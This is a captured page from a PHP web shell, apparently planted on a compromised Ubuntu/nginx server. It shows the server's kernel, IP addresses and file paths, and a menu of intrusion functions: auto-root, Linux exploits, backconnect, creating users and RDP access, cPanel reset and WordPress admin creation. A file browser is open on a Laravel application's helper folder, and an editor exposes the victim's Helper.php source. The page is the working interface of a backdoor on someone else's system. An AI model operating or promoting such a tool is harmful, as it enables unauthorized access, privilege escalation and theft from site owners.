Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdg.amatya.biz-8 /
app /
Helpers /
[ HOME SHELL ]
Name
Size
Permission
Action
Calendar.php
12.12
KB
-rw-rw-r--
ConfigHelper.php
617
B
-rw-rw-r--
Constant.php
446
B
-rw-rw-r--
DateHelper.php
15.22
KB
-rw-rw-r--
Helper.php
4.03
KB
-rw-rw-r--
NepaliDateHelper.php
19.86
KB
-rw-rw-r--
NepaliNumberHelper.php
5.15
KB
-rw-rw-r--
OTPHelper.php
2.34
KB
-rw-rw-r--
ProjectHelper.php
17.89
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Helper.php
<?php use App\Helpers\NepaliNumberHelper; use App\Services\SifarisRecordService; use Illuminate\Http\File; use Illuminate\Http\Request; use Illuminate\Http\UploadedFile; use Illuminate\Support\Arr; use Illuminate\Support\Facades\Storage; class Helper { public static function upload(UploadedFile $file, $fileName, $extension, $path) { try { Storage::disk('local')->put($path . $fileName . '.' . $extension, $file->get()); $file_name = $file->getClientOriginalName(); $filePath = $path . $fileName . '.' . $extension; $h = new Helper(); return $file = [ 'success' => true, 'fileName' => $file_name, 'fileType' => $extension, 'filePath' => $filePath, 'fileSize' => $file->getSize(), 'fileSizeStr' => $h->fileSize($file) ]; } catch (\Throwable $th) { return $file = [ 'success' => false, 'msg' => $th->getMessage() ]; } } private function fileSize($file, $precision = 2) { $size = $file->getSize(); if ($size > 0) { $size = (int) $size; $base = log($size) / log(1024); $suffixes = array(' bytes', ' KB', ' MB', ' GB', ' TB'); return round(pow(1024, $base - floor($base)), $precision) . $suffixes[floor($base)]; } return $size; } public function getFilter(Request $request, $only = []) { $all = $request->query(); if (!$all) return []; $filter = []; // dd($all); foreach ($all as $key => $value) { if (in_array($key, $only) && $value) { $filter[$key] = $value; } } return $filter; } public function getFilterApi(Request $request, $only = [], $enforce_office = false) { $all = $request->all(); if (!$all) return []; $filter = []; if ($enforce_office) { $sifaris_record_service = new SifarisRecordService(); $valid_forms = $sifaris_record_service->list_forms(); } foreach ($all as $key => $value) { if (in_array($key, $only) && $value) { $filter[$key] = $value; if ($enforce_office) { if ($key == 'office_id') { if (!isHeadOffice()) { $filter[$key] = officeId(); } } else if ($key == 'form_id') { if (!isHeadOffice()) { if ($value) { $exists = $valid_forms->where('id', $value)->first(); if (!$exists) { $filter[$key] = null; } } } } } } } return $filter; } public static function fromBase64(string $base64File): UploadedFile { // Get file data base64 string $fileData = base64_decode(Arr::last(explode(',', $base64File))); // Create temp file and get its absolute path $tempFile = tmpfile(); $tempFilePath = stream_get_meta_data($tempFile)['uri']; // Save file data in file file_put_contents($tempFilePath, $fileData); $tempFileObject = new File($tempFilePath); $file = new UploadedFile( $tempFileObject->getPathname(), $tempFileObject->getFilename(), $tempFileObject->getMimeType(), 0, true // Mark it as test, since the file isn't from real HTTP POST. ); // Close this file after response is sent. // Closing the file will cause to remove it from temp director! app()->terminating(function () use ($tempFile) { fclose($tempFile); }); // return UploadedFile object return $file; } }
Close